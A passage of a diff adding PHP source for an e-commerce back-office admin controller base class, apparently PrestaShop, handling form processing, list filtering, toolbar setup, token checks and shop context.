'edit'; + return false; + } + + if (isset($object)) + return $object; + return; + } + + /** + * Change object required fields + */ + public function processUpdateFields() + { + if (!is_array($fields = Tools::getValue('fieldsBox'))) + $fields = array(); + + $object = new $this->className(); + if (!$object->addFieldsRequiredDatabase($fields)) + $this->errors[] = Tools::displayError('An error occurred when attempting to update the required fields.'); + else + $this->redirect_after = self::$currentIndex.'&conf=4&token='.$this->token; + + return $object; + } + + /** + * Change object status (active, inactive) + */ + public function processStatus() + { + if (Validate::isLoadedObject($object = $this->loadObject())) + { + if ($object->toggleStatus()) + { + $id_category = (($id_category = (int)Tools::getValue('id_category')) && Tools::getValue('id_product')) ? '&id_category='.$id_category : ''; + $this->redirect_after = self::$currentIndex.'&conf=5'.$id_category.'&token='.$this->token; + } + else + $this->errors[] = Tools::displayError('An error occurred while updating the status.'); + } + else + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.'). + ' <b>'.$this->table.'</b> '. + Tools::displayError('(cannot load object)'); + + return $object; + } + + /** + * Change object position + */ + public function processPosition() + { + if (!Validate::isLoadedObject($object = $this->loadObject())) + { + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.'). + ' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + } + elseif (!$object->updatePosition((int)Tools::getValue('way'), (int)Tools::getValue('position'))) + $this->errors[] = Tools::displayError('Failed to update the position.'); + else + { + $id_identifier_str = ($id_identifier = (int)Tools::getValue($this->identifier)) ? '&'.$this->identifier.'='.$id_identifier : ''; + $redirect = self::$currentIndex.'&'.$this->table.'Orderby=position&'.$this->table.'Orderway=asc&conf=5'.$id_identifier_str.'&token='.$this->token; + $this->redirect_after = $redirect; + } + return $object; + } + + /** + * Cancel all filters for this tab + */ + public function processResetFilters() + { + $prefix = str_replace(array('admin', 'controller'), '', Tools::strtolower(get_class($this))); + $filters = $this->context->cookie->getFamily($prefix.$this->table.'Filter_'); + foreach ($filters as $cookie_key => $filter) + if (strncmp($cookie_key, $prefix.$this->table.'Filter_', 7 + Tools::strlen($prefix.$this->table)) == 0) + { + $key = substr($cookie_key, 7 + Tools::strlen($prefix.$this->table)); + /* Table alias could be specified using a ! eg. alias!field */ + $tmp_tab = explode('!', $key); + $key = (count($tmp_tab) > 1 ? $tmp_tab[1] : $tmp_tab[0]); + + if (is_array($this->fields_list) && array_key_exists($key, $this->fields_list)) + unset($this->context->cookie->$cookie_key); + } + + if (isset($this->context->cookie->{'submitFilter'.$this->table})) + unset($this->context->cookie->{'submitFilter'.$this->table}); + + if (isset($this->context->cookie->{$prefix.$this->table.'Orderby'})) + unset($this->context->cookie->{$prefix.$this->table.'Orderby'}); + + if (isset($this->context->cookie->{$prefix.$this->table.'Orderway'})) + unset($this->context->cookie->{$prefix.$this->table.'Orderway'}); + + unset($_POST); + $this->_filter = false; + unset($this->_filterHaving); + unset($this->_having); + } + + /** + * Update options and preferences + */ + protected function processUpdateOptions() + { + $this->beforeUpdateOptions(); + + $languages = Language::getLanguages(false); + + $hide_multishop_checkbox = (Shop::getTotalShops(false, null) < 2) ? true : false; + foreach ($this->fields_options as $category_data) + { + if (!isset($category_data['fields'])) + continue; + + $fields = $category_data['fields']; + + foreach ($fields as $field => $values) + { + if (isset($values['type']) && $values['type'] == 'selectLang') + { + foreach ($languages as $lang) + if (Tools::getValue($field.'_'.strtoupper($lang['iso_code']))) + $fields[$field.'_'.strtoupper($lang['iso_code'])] = array( + 'type' => 'select', + 'cast' => 'strval', + 'identifier' => 'mode', + 'list' => $values['list'] + ); + } + } + + // Validate fields + foreach ($fields as $field => $values) + { + // We don't validate fields with no visibility + if (!$hide_multishop_checkbox && Shop::isFeatureActive() && isset($values['visibility']) && $values['visibility'] > Shop::getContext()) + continue; + + // Check if field is required + if (isset($values['required']) && $values['required'] && !empty($_POST['multishopOverrideOption'][$field])) + if (isset($values['type']) && $values['type'] == 'textLang') + { + foreach ($languages as $language) + if (($value = Tools::getValue($field.'_'.$language['id_lang'])) == false && (string)$value != '0') + $this->errors[] = sprintf(Tools::displayError('field %s is required.'), $values['title']); + } + elseif (($value = Tools::getValue($field)) == false && (string)$value != '0') + $this->errors[] = sprintf(Tools::displayError('field %s is required.'), $values['title']); + + // Check field validator + if (isset($values['type']) && $values['type'] == 'textLang') + { + foreach ($languages as $language) + if (Tools::getValue($field.'_'.$language['id_lang']) && isset($values['validation'])) + if (!Validate::$values['validation'](Tools::getValue($field.'_'.$language['id_lang']))) + $this->errors[] = sprintf(Tools::displayError('field %s is invalid.'), $values['title']); + } + elseif (Tools::getValue($field) && isset($values['validation'])) + if (!Validate::$values['validation'](Tools::getValue($field))) + $this->errors[] = sprintf(Tools::displayError('field %s is invalid.'), $values['title']); + + // Set default value + if (Tools::getValue($field) === false && isset($values['default'])) + $_POST[$field] = $values['default']; + } + + if (!count($this->errors)) + { + foreach ($fields as $key => $options) + { + if (!$hide_multishop_checkbox && Shop::isFeatureActive() && isset($options['visibility']) && $options['visibility'] > Shop::getContext()) + continue; + + if (!$hide_multishop_checkbox && Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL && empty($options['no_multishop_checkbox']) && empty($_POST['multishopOverrideOption'][$key])) + { + Configuration::deleteFromContext($key); + continue; + } + + // check if a method updateOptionFieldName is available + $method_name = 'updateOption'.Tools::toCamelCase($key, true); + if (method_exists($this, $method_name)) + $this->$method_name(Tools::getValue($key)); + elseif (isset($options['type']) && in_array($options['type'], array('textLang', 'textareaLang'))) + { + $list = array(); + foreach ($languages as $language) + { + $key_lang = Tools::getValue($key.'_'.$language['id_lang']); + $val = (isset($options['cast']) ? $options['cast']($key_lang) : $key_lang); + if ($this->validateField($val, $options)) + { + if (Validate::isCleanHtml($val)) + $list[$language['id_lang']] = $val; + else + $this->errors[] = Tools::displayError('Can not add configuration '.$key.' for lang '.Language::getIsoById((int)$language['id_lang'])); + } + } + Configuration::updateValue($key, $list); + } + else + { + $val = (isset($options['cast']) ? $options['cast'](Tools::getValue($key)) : Tools::getValue($key)); + if ($this->validateField($val, $options)) + { + if (Validate::isCleanHtml($val)) + Configuration::updateValue($key, $val); + else + $this->errors[] = Tools::displayError('Can not add configuration '.$key); + } + } + } + } + } + + $this->display = 'list'; + if (empty($this->errors)) + $this->confirmations[] = $this->_conf[6]; + } + + /** + * assign default action in toolbar_btn smarty var, if they are not set. + * uses override to specifically add, modify or remove items + * + */ + public function initToolbar() + { + switch ($this->display) + { + case 'add': + case 'edit': + // Default save button - action dynamically handled in javascript + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Save') + ); + //no break + case 'view': + // Default cancel button - like old back link + $back = Tools::safeOutput(Tools::getValue('back', '')); + if (empty($back)) + $back = self::$currentIndex.'&token='.$this->token; + if (!Validate::isCleanHtml($back)) + die(Tools::displayError()); + if (!$this->lite_display) + $this->toolbar_btn['back'] = array( + 'href' => $back, + 'desc' => $this->l('Back to list') + ); + break; + case 'options': + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Save') + ); + break; + case 'view': + break; + default: // list + $this->toolbar_btn['new'] = array( + 'href' => self::$currentIndex.'&add'.$this->table.'&token='.$this->token, + 'desc' => $this->l('Add new') + ); + if ($this->allow_export) + $this->toolbar_btn['export'] = array( + 'href' => self::$currentIndex.'&export'.$this->table.'&token='.$this->token, + 'desc' => $this->l('Export') + ); + } + $this->addToolBarModulesListButton(); + } + + /** + * Load class object using identifier in $_GET (if possible) + * otherwise return an empty object, or die + * + * @param boolean $opt Return an empty object if load fail + * @return object + */ + protected function loadObject($opt = false) + { + $id = (int)Tools::getValue($this->identifier); + if ($id && Validate::isUnsignedId($id)) + { + if (!$this->object) + $this->object = new $this->className($id); + if (Validate::isLoadedObject($this->object)) + return $this->object; + // throw exception + $this->errors[] = Tools::displayError('The object cannot be loaded (or found)'); + return false; + } + elseif ($opt) + { + if (!$this->object) + $this->object = new $this->className(); + return $this->object; + } + else + { + $this->errors[] = Tools::displayError('The object cannot be loaded (ithe dentifier is missing or invalid)'); + return false; + } + + return $this->object; + } + + /** + * Check if the token is valid, else display a warning page + */ + public function checkAccess() + { + if (!$this->checkToken()) + { + // If this is an XSS attempt, then we should only display a simple, secure page + // ${1} in the replacement string of the regexp is required, + // because the token may begin with a number and mix up with it (e.g. $17) + $url = preg_replace('/([&?]token=)[^&]*(&.*)?$/', '${1}'.$this->token.'$2', $_SERVER['REQUEST_URI']); + if (false === strpos($url, '?token=') && false === strpos($url, '&token=')) + $url .= '&token='.$this->token; + if (strpos($url, '?') === false) + $url = str_replace('&token', '?controller=AdminHome&token', $url); + + $this->context->smarty->assign('url', htmlentities($url)); + return false; + } + return true; + } + + protected function filterToField($key, $filter) + { + foreach ($this->fields_list as $field) + if (array_key_exists('filter_key', $field) && $field['filter_key'] == $key) + return $field; + if (array_key_exists($filter, $this->fields_list)) + return $this->fields_list[$filter]; + return false; + } + + public function displayNoSmarty() + { + } + + public function displayAjax() + { + if ($this->json) + { + $this->context->smarty->assign(array( + 'json' => true, + 'status' => $this->status, + )); + } + $this->layout = 'layout-ajax.tpl'; + return $this->display(); + } + + protected function redirect() + { + header('Location: '.$this->redirect_after); + exit; + } + public function display() + { + $this->context->smarty->assign(array( + 'display_header' => $this->display_header, + 'display_footer' => $this->display_footer, + ) + ); + + // Use page title from meta_title if it has been set else from the breadcrumbs array + if (!$this->meta_title) + $this->meta_title = isset($this->breadcrumbs[1]) ? $this->breadcrumbs[1] : $this->breadcrumbs[0]; + $this->context->smarty->assign('meta_title', $this->meta_title); + + $tpl_action = $this->tpl_folder.$this->display.'.tpl'; + + // Check if action template has been override + + foreach ($this->context->smarty->getTemplateDir() as $template_dir) + if (file_exists($template_dir.DIRECTORY_SEPARATOR.$tpl_action) && $this->display != 'view' && $this->display != 'options') + { + if (method_exists($this, $this->display.Tools::toCamelCase($this->className))) + $this->{$this->display.Tools::toCamelCase($this->className)}(); + $this->context->smarty->assign('content', $this->context->smarty->fetch($tpl_action)); + break; + } + + if (!$this->ajax) + { + $template = $this->createTemplate($this->template); + $page = $template->fetch(); + } + else + $page = $this->content; + + if ($conf = Tools::getValue('conf')) + if ($this->json) + $this->context->smarty->assign('conf', Tools::jsonEncode($this->_conf[(int)$conf])); + else + $this->context->smarty->assign('conf', $this->_conf[(int)$conf]); + + $notifications_type = array('errors', 'warnings', 'informations', 'confirmations'); + foreach($notifications_type as $type) + if ($this->json) + $this->context->smarty->assign($type, Tools::jsonEncode(array_unique($this->$type))); + else + $this->context->smarty->assign($type, array_unique($this->$type)); + + if ($this->json) + $this->context->smarty->assign('page', Tools::jsonEncode($page)); + else + $this->context->smarty->assign('page', $page); + + $this->smartyOutputContent($this->layout); + } + + + /** + * add a warning message to display at the top of the page + * + * @param string $msg + */ + protected function displayWarning($msg) + { + $this->warnings[] = $msg; + } + + /** + * add a info message to display at the top of the page + * + * @param string $msg + */ + protected function displayInformation($msg) + { + $this->informations[] = $msg; + } + + /** + * Assign smarty variables for the header + */ + public function initHeader() + { + // Multishop + $is_multishop = Shop::isFeatureActive(); + + // Quick access + $quick_access = QuickAccess::getQuickAccesses($this->context->language->id); + foreach ($quick_access as $index => $quick) + { + if ($quick['link'] == '../' && Shop::getContext() == Shop::CONTEXT_SHOP) + { + $url = $this->context->shop->getBaseURL(); + if (!$url) + { + unset($quick_access[$index]); + continue; + } + $quick_access[$index]['link'] = $url; + } + else + { + preg_match('/controller=(.+)(&.+)?$/', $quick['link'], $admin_tab); + if (isset($admin_tab[1])) + { + if (strpos($admin_tab[1], '&')) + $admin_tab[1] = substr($admin_tab[1], 0, strpos($admin_tab[1], '&')); + + $token = Tools::getAdminToken($admin_tab[1].(int)Tab::getIdFromClassName($admin_tab[1]).(int)$this->context->employee->id); + $quick_access[$index]['link'] .= '&token='.$token; + } + } + } + + // Tab list + $tabs = Tab::getTabs($this->context->language->id, 0); + $current_id = Tab::getCurrentParentId(); + foreach ($tabs as $index => $tab) + { + if ($tab['class_name'] == 'AdminStock' && Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') == 0) + { + unset($tabs[$index]); + continue; + } + + $img_cache_url = 'themes/'.$this->context->employee->bo_theme.'/img/t/'.$tab['class_name'].'.png'; + $img_exists_cache = Tools::file_exists_cache(_PS_ADMIN_DIR_.$img_cache_url); + // retrocompatibility : change png to gif if icon not exists + if (!$img_exists_cache) + $img_exists_cache = Tools::file_exists_cache(_PS_ADMIN_DIR_.str_replace('.png', '.gif', $img_cache_url)); + + if ($img_exists_cache) + $path_img = $img = $img_exists_cache; + else + { + $path_img = _PS_IMG_DIR_.'t/'.$tab['class_name'].'.png'; + // Relative link will always work, whatever the base uri set in the admin + $img = '../img/t/'.$tab['class_name'].'.png'; + } + + if (trim($tab['module']) != '') + { + $path_img = _PS_MODULE_DIR_.$tab['module'].'/'.$tab['class_name'].'.png'; + // Relative link will always work, whatever the base uri set in the admin + $img = '../modules/'.$tab['module'].'/'.$tab['class_name'].'.png'; + } + + // retrocompatibility + if (!file_exists($path_img)) + $img = str_replace('png', 'gif', $img); + // tab[class_name] does not contains the "Controller" suffix + $tabs[$index]['current'] = ($tab['class_name'].'Controller' == get_class($this)) || ($current_id == $tab['id_tab']); + $tabs[$index]['img'] = $img; + $tabs[$index]['href'] = $this->context->link->getAdminLink($tab['class_name']); + + $sub_tabs = Tab::getTabs($this->context->language->id, $tab['id_tab']); + foreach ($sub_tabs as $index2 => $sub_tab) + { + // class_name is the name of the class controller + if (Tab::checkTabRights($sub_tab['id_tab']) === true + && (bool)$sub_tab['active']) + $sub_tabs[$index2]['href'] = $this->context->link->getAdminLink($sub_tab['class_name']); + else + unset($sub_tabs[$index2]); + } + $tabs[$index]['sub_tabs'] = $sub_tabs; + + // If there are no subtabs, we don't want to display the parent tab in menu + if (empty($sub_tabs)) + unset($tabs[$index]); + } + + if (Validate::isLoadedObject($this->context->employee)) + { + $accesses = Profile::getProfileAccesses($this->context->employee->id_profile, 'class_name'); + + /* Hooks are volontary out the initialize array (need those variables already assigned) */ + $bo_color = empty($this->context->employee->bo_color) ? '#FFFFFF' : $this->context->employee->bo_color; + $this->context->smarty->assign(array( + 'autorefresh_notifications' => Configuration::get('PS_ADMIN_REFRESH_NOTIFICATION'), + 'help_box' => Configuration::get('PS_HELPBOX'), + 'round_mode' => Configuration::get('PS_PRICE_ROUND_MODE'), + 'brightness' => Tools::getBrightness($bo_color) < 128 ? 'white' : '#383838', + 'bo_width' => (int)$this->context->employee->bo_width, + 'bo_color' => isset($this->context->employee->bo_color) ? Tools::htmlentitiesUTF8($this->context->employee->bo_color) : null, + 'show_new_orders' => Configuration::get('PS_SHOW_NEW_ORDERS') && $accesses['AdminOrders']['view'], + 'show_new_customers' => Configuration::get('PS_SHOW_NEW_CUSTOMERS') && $accesses['AdminCustomers']['view'], + 'show_new_messages' => Configuration::get('PS_SHOW_NEW_MESSAGES') && $accesses['AdminCustomerThreads']['view'], + 'first_name' => Tools::substr($this->context->employee->firstname, 0, 1), + 'last_name' => htmlentities($this->context->employee->lastname, ENT_COMPAT, 'UTF-8'), + 'employee' => $this->context->employee, + 'search_type' => Tools::getValue('bo_search_type'), + 'bo_query' => Tools::safeOutput(Tools::stripslashes(Tools::getValue('bo_query'))), + 'quick_access' => $quick_access, + 'multi_shop' => Shop::isFeatureActive(), + 'shop_list' => Helper::renderShopList(), + 'shop' => $this->context->shop, + 'shop_group' => new ShopGroup((int)Shop::getContextShopGroupID()), + 'current_parent_id' => (int)Tab::getCurrentParentId(), + 'tabs' => $tabs, + 'is_multishop' => $is_multishop, + 'multishop_context' => $this->multishop_context, + )); + } + $this->context->smarty->assign(array( + 'img_dir' => _PS_IMG_, + 'iso' => $this->context->language->iso_code, + 'class_name' => $this->className, + 'iso_user' => $this->context->language->iso_code, + 'country_iso_code' => $this->context->country->iso_code, + 'version' => _PS_VERSION_, + 'lang_iso' => $this->context->language->iso_code, + 'link' => $this->context->link, + 'shop_name' => Configuration::get('PS_SHOP_NAME'), + 'base_url' => $this->context->shop->getBaseURL(), + 'tab' => $tab, // Deprecated, this tab is declared in the foreach, so it's the last tab in the foreach + 'current_parent_id' => (int)Tab::getCurrentParentId(), + 'tabs' => $tabs, + 'install_dir_exists' => file_exists(_PS_ADMIN_DIR_.'/../install'), + 'pic_dir' => _THEME_PROD_PIC_DIR_, + 'controller_name' => htmlentities(Tools::getValue('controller')), + 'currentIndex' => self::$currentIndex + )); + } + + /** + * Declare an action to use for each row in the list + */ + public function addRowAction($action) + { + $action = strtolower($action); + $this->actions[] = $action; + } + + /** + * Add an action to use for each row in the list + */ + public function addRowActionSkipList($action, $list) + { + $action = strtolower($action); + $list = (array)$list; + + if (array_key_exists($action, $this->list_skip_actions)) + $this->list_skip_actions[$action] = array_merge($this->list_skip_actions[$action], $list); + else + $this->list_skip_actions[$action] = $list; + } + + /** + * Assign smarty variables for all default views, list and form, then call other init functions + */ + public function initContent() + { + if (!$this->viewAccess()) + { + $this->errors[] = Tools::displayError('You do not have permission to view this.'); + return; + } + + $this->getLanguages(); + // toolbar (save, cancel, new, ..) + $this->initToolbar(); + $this->initTabModuleList(); + if ($this->display == 'edit' || $this->display == 'add') + { + if (!$this->loadObject(true)) + return; + + $this->content .= $this->renderForm(); + } + elseif ($this->display == 'view') + { + // Some controllers use the view action without an object + if ($this->className) + $this->loadObject(true); + $this->content .= $this->renderView(); + } + elseif (!$this->ajax) + { + $this->content .= $this->renderModulesList(); + $this->content .= $this->renderList(); + $this->content .= $this->renderOptions(); + + // if we have to display the required fields form + if ($this->required_database) + $this->content .= $this->displayRequiredFields(); + } + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + /** + * init tab modules list and add button in toolbar + */ + protected function initTabModuleList() + { + if (!$this->isFresh(Module::CACHE_FILE_TAB_MODULES_LIST, 604800)) + $this->refresh(Module::CACHE_FILE_TAB_MODULES_LIST, 'http://'.Tab::TAB_MODULE_LIST_URL); + + $this->tab_modules_list = Tab::getTabModulesList($this->id); + + if (is_array($this->tab_modules_list['default_list']) && count($this->tab_modules_list['default_list'])) + $this->filter_modules_list = $this->tab_modules_list['default_list']; + elseif (is_array($this->tab_modules_list['slider_list']) && count($this->tab_modules_list['slider_list'])) + { + $this->addToolBarModulesListButton(); + $this->context->smarty->assign(array( + 'tab_modules_list' => implode(',', $this->tab_modules_list['slider_list']), + 'admin_module_ajax_url' => $this->context->link->getAdminLink('AdminModules'), + 'back_tab_modules_list' => $this->context->link->getAdminLink(Tools::getValue('controller')), + 'tab_modules_open' => (int)Tools::getValue('tab_modules_open') + )); + } + } + + protected function addToolBarModulesListButton() + { + if (is_array($this->tab_modules_list['slider_list']) && count($this->tab_modules_list['slider_list'])) + $this->toolbar_btn['modules-list'] = array( + 'href' => '#', + 'desc' => $this->l('Modules List') + ); + } + + /** + * initialize the invalid doom page of death + * + * @return void + */ + public function initCursedPage() + { + $this->layout = 'invalid_token.tpl'; + } + + /** + * Assign smarty variables for the footer + */ + public function initFooter() + { + // We assign js and css files on the last step before display template, because controller can add many js and css files + $this->context->smarty->assign('css_files', $this->css_files); + $this->context->smarty->assign('js_files', array_unique($this->js_files)); + + $this->context->smarty->assign(array( + 'ps_version' => _PS_VERSION_, + 'timer_start' => $this->timer_start, + 'iso_is_fr' => strtoupper($this->context->language->iso_code) == 'FR', + )); + } + + public function renderModulesList() + { + + if ($this->getModulesList($this->filter_modules_list)) + { + $helper = new Helper(); + return $helper->renderModulesList($this->modules_list); + } + } + + + /** + * Function used to render the list to display for this controller + */ + public function renderList() + { + if (!($this->fields_list && is_array($this->fields_list))) + return false; + $this->getList($this->context->language->id); + + $helper = new HelperList(); + + // Empty list is ok + if (!is_array($this->_list)) + { + $this->displayWarning($this->l('Bad SQL query', 'Helper').'<br />'.htmlspecialchars($this->_list_error)); + return false; + } + + $this->setHelperDisplay($helper); + $helper->tpl_vars = $this->tpl_list_vars; + $helper->tpl_delete_link_vars = $this->tpl_delete_link_vars; + + // For compatibility reasons, we have to check standard actions in class attributes + foreach ($this->actions_available as $action) + { + if (!in_array($action, $this->actions) && isset($this->$action) && $this->$action) + $this->actions[] = $action; + } + $helper->is_cms = $this->is_cms; + $list = $helper->generateList($this->_list, $this->fields_list); + + return $list; + } + + /** + * Override to render the view page + */ + public function renderView() + { + $helper = new HelperView($this); + $this->setHelperDisplay($helper); + $helper->tpl_vars = $this->tpl_view_vars; + if (!is_null($this->base_tpl_view)) + $helper->base_tpl = $this->base_tpl_view; + $view = $helper->generateView(); + + return $view; + } + + /** + * Function used to render the form for this controller + */ + public function renderForm() + { + if (!$this->default_form_language) + $this->getLanguages(); + + if (Tools::getValue('submitFormAjax')) + $this->content .= $this->context->smarty->fetch('form_submit_ajax.tpl'); + if ($this->fields_form && is_array($this->fields_form)) + { + if (!$this->multiple_fieldsets) + $this->fields_form = array(array('form' => $this->fields_form)); + + // For add a fields via an override of $fields_form, use $fields_form_override + if (is_array($this->fields_form_override) && !empty($this->fields_form_override)) + $this->fields_form[0]['form']['input'][] = $this->fields_form_override; + + $helper = new HelperForm($this); + $this->setHelperDisplay($helper); + $helper->fields_value = $this->getFieldsValue($this->object); + $helper->tpl_vars = $this->tpl_form_vars; + !is_null($this->base_tpl_form) ? $helper->base_tpl = $this->base_tpl_form : ''; + if ($this->tabAccess['view']) + { + if (Tools::getValue('back')) + $helper->tpl_vars['back'] = Tools::safeOutput(Tools::getValue('back')); + else + $helper->tpl_vars['back'] = Tools::safeOutput(Tools::getValue(self::$currentIndex.'&token='.$this->token)); + } + $form = $helper->generateForm($this->fields_form); + + return $form; + } + } + + /** + * Function used to render the options for this controller + */ + public function renderOptions() + { + if ($this->fields_options && is_array($this->fields_options)) + { + if (isset($this->display) && $this->display != 'options' && $this->display != 'list') + $this->show_toolbar = false; + else + $this->display = 'options'; + + unset($this->toolbar_btn); + $this->initToolbar(); + $helper = new HelperOptions($this); + $this->setHelperDisplay($helper); + $helper->id = $this->id; + $helper->tpl_vars = $this->tpl_option_vars; + $options = $helper->generateOptions($this->fields_options); + + return $options; + } + } + + /** + * this function set various display option for helper list + * + * @param Helper $helper + * @return void + */ + public function setHelperDisplay(Helper $helper) + { + if (empty($this->toolbar_title)) + $this->initToolbarTitle(); + // tocheck + if ($this->object && $this->object->id) + $helper->id = $this->object->id; + + // @todo : move that in Helper + $helper->title = $this->toolbar_title; + $helper->toolbar_btn = $this->toolbar_btn; + $helper->show_toolbar = $this->show_toolbar; + $helper->toolbar_scroll = $this->toolbar_scroll; + $helper->override_folder = $this->tpl_folder; + $helper->actions = $this->actions; + $helper->simple_header = $this->list_simple_header; + $helper->bulk_actions = $this->bulk_actions; + $helper->currentIndex = self::$currentIndex; + $helper->className = $this->className; + $helper->table = $this->table; + $helper->name_controller = Tools::getValue('controller'); + $helper->orderBy = $this->_orderBy; + $helper->orderWay = $this->_orderWay; + $helper->listTotal = $this->_listTotal; + $helper->shopLink = $this->shopLink; + $helper->shopLinkType = $this->shopLinkType; + $helper->identifier = $this->identifier; + $helper->token = $this->token; + $helper->languages = $this->_languages; + $helper->specificConfirmDelete = $this->specificConfirmDelete; + $helper->imageType = $this->imageType; + $helper->no_link = $this->list_no_link; + $helper->colorOnBackground = $this->colorOnBackground; + $helper->ajax_params = (isset($this->ajax_params) ? $this->ajax_params : null); + $helper->default_form_language = $this->default_form_language; + $helper->allow_employee_form_lang = $this->allow_employee_form_lang; + $helper->multiple_fieldsets = $this->multiple_fieldsets; + $helper->row_hover = $this->row_hover; + $helper->position_identifier = $this->position_identifier; + $helper->controller_name = $this->controller_name; + + // For each action, try to add the corresponding skip elements list + $helper->list_skip_actions = $this->list_skip_actions; + + $this->helper = $helper; + } + + public function setMedia() + { + $this->addCSS(_PS_CSS_DIR_.'admin.css', 'all'); + $admin_webpath = str_ireplace(_PS_ROOT_DIR_, '', _PS_ADMIN_DIR_); + $admin_webpath = preg_replace('/^'.preg_quote(DIRECTORY_SEPARATOR, '/').'/', '', $admin_webpath); + $this->addCSS(__PS_BASE_URI__.$admin_webpath.'/themes/'.$this->bo_theme.'/css/admin.css', 'all'); + if ($this->context->language->is_rtl) + $this->addCSS(_THEME_CSS_DIR_.'rtl.css'); + + $this->addJquery(); + $this->addjQueryPlugin(array('cluetip', 'hoverIntent', 'scrollTo', 'alerts', 'chosen')); + + $this->addJS(array( + _PS_JS_DIR_.'admin.js', + _PS_JS_DIR_.'toggle.js', + _PS_JS_DIR_.'tools.js', + _PS_JS_DIR_.'ajax.js', + _PS_JS_DIR_.'toolbar.js' + )); + + if (!Tools::getValue('submitFormAjax')) + { + $this->addJs(_PS_JS_DIR_.'notifications.js'); + if (Configuration::get('PS_HELPBOX')) + $this->addJS(_PS_JS_DIR_.'helpAccess.js'); + } + + // Execute Hook AdminController SetMedia + Hook::exec('actionAdminControllerSetMedia', array()); + } + + /** + * non-static method which uses AdminController::translate() + * + * @param mixed $string term or expression in english + * @param string $class name of the class + * @param boolan $addslashes if set to true, the return value will pass through addslashes(). Otherwise, stripslashes(). + * @param boolean $htmlentities if set to true(default), the return value will pass through htmlentities($string, ENT_QUOTES, 'utf-8') + * @return string the translation if available, or the english default text. + */ + protected function l($string, $class = 'AdminTab', $addslashes = false, $htmlentities = true) + { + // classname has changed, from AdminXXX to AdminXXXController + // So we remove 10 characters and we keep same keys + if (strtolower(substr($class, -10)) == 'controller') + $class = substr($class, 0, -10); + elseif ($class == 'AdminTab') + $class = substr(get_class($this), 0, -10); + return Translate::getAdminTranslation($string, $class, $addslashes, $htmlentities); + } + + /** + * Init context and dependencies, handles POST and GET + */ + public function init() + { + // Has to be removed for the next Prestashop version + global $currentIndex; + + parent::init(); + + if (Tools::getValue('ajax')) + $this->ajax = '1'; + + /* Server Params */ + $protocol_link = (Tools::usingSecureMode() && Configuration::get('PS_SSL_ENABLED')) ? 'https://' : 'http://'; + $protocol_content = (Tools::usingSecureMode() && Configuration::get('PS_SSL_ENABLED')) ? 'https://' : 'http://'; + + $this->context->link = new Link($protocol_link, $protocol_content); + + if (isset($_GET['logout'])) + $this->context->employee->logout(); + + if ($this->controller_name != 'AdminLogin' && (!isset($this->context->employee) || !$this->context->employee->isLoggedBack())) + Tools::redirectAdmin($this->context->link->getAdminLink('AdminLogin').(!isset($_GET['logout']) ? '&redirect='.$this->controller_name : '')); + + // Set current index + $current_index = 'index.php'.(($controller = Tools::getValue('controller')) ? '?controller='.$controller : ''); + if ($back = Tools::getValue('back')) + $current_index .= '&back='.urlencode($back); + self::$currentIndex = $current_index; + $currentIndex = $current_index; + + if ((int)Tools::getValue('liteDisplaying')) + { + $this->display_header = false; + $this->display_footer = false; + $this->content_only = false; + $this->lite_display = true; + } + + if ($this->ajax && method_exists($this, 'ajaxPreprocess')) + $this->ajaxPreProcess(); + + $this->context->smarty->assign(array( + 'table' => $this->table, + 'current' => self::$currentIndex, + 'token' => $this->token, + 'stock_management' => (int)Configuration::get('PS_STOCK_MANAGEMENT') + )); + + if ($this->display_header) + $this->context->smarty->assign('displayBackOfficeHeader', Hook::exec('displayBackOfficeHeader', array())); + + $this->context->smarty->assign( + array( + 'displayBackOfficeTop' => Hook::exec('displayBackOfficeTop', array()), + 'submit_form_ajax' => (int)Tools::getValue('submitFormAjax') + ) + ); + + $this->initProcess(); + } + + public function initShopContext() + { + if (!$this->context->employee->isLoggedBack()) + return; + + // Change shop context ? + if (Shop::isFeatureActive() && Tools::getValue('setShopContext') !== false) + { + $this->context->cookie->shopContext = Tools::getValue('setShopContext'); + $url = parse_url($_SERVER['REQUEST_URI']); + $query = (isset($url['query'])) ? $url['query'] : ''; + parse_str($query, $parse_query); + unset($parse_query['setShopContext'], $parse_query['conf']); + $this->redirect_after = $url['path'].'?'.http_build_query($parse_query, '', '&'); + } + elseif (!Shop::isFeatureActive()) + $this->context->cookie->shopContext = 's-'.Configuration::get('PS_SHOP_DEFAULT'); + else if (Shop::getTotalShops(false, null) < 2) + $this->context->cookie->shopContext = 's-'.$this->context->employee->getDefaultShopID(); + + $shop_id = ''; + Shop::setContext(Shop::CONTEXT_ALL); + if ($this->context->cookie->shopContext) + { + $split = explode('-', $this->context->cookie->shopContext); + if (count($split) == 2) + { + if ($split[0] == 'g') + { + if ($this->context->employee->hasAuthOnShopGroup($split[1])) + Shop::setContext(Shop::CONTEXT_GROUP, $split[1]); + else + { + $shop_id = $this->context->employee->getDefaultShopID(); + Shop::setContext(Shop::CONTEXT_SHOP, $shop_id); + } + } + else if (Shop::getShop($split[1]) && $this->context->employee->hasAuthOnShop($split[1])) + { + $shop_id = $split[1]; + Shop::setContext(Shop::CONTEXT_SHOP, $shop_id); + } + else + { + $shop_id = $this->context->employee->getDefaultShopID(); + Shop::setContext(Shop::CONTEXT_SHOP, $shop_id); + } + } + } + + // Check multishop context and set right context if need + if (!($this->multishop_context & Shop::getContext())) + { + if (Shop::getContext() == Shop::CONTEXT_SHOP && !($this->multishop_context & Shop::CONTEXT_SHOP)) + Shop::setContext(Shop::CONTEXT_GROUP, Shop::getContextShopGroupID()); + if (Shop::getContext() == Shop::CONTEXT_GROUP && !($this->multishop_context & Shop::CONTEXT_GROUP)) + Shop::setContext(Shop::CONTEXT_ALL); + } + + // Replace existing shop if necessary + if (!$shop_id) + $this->context->shop = new Shop(Configuration::get('PS_SHOP_DEFAULT')); + elseif ($this->context->shop->id != $shop_id) + $this->context->shop = new Shop($shop_id); + + $this->initBreadcrumbs(); + } + + /** + * Retrieve GET and POST value and translate them to actions + */ + public function initProcess() + { + // Manage list filtering + if (Tools::isSubmit('submitFilter'.$this->table) + || $this->context->cookie->{'submitFilter'.$this->table} !== false + || Tools::getValue($this->table.'Orderby') + || 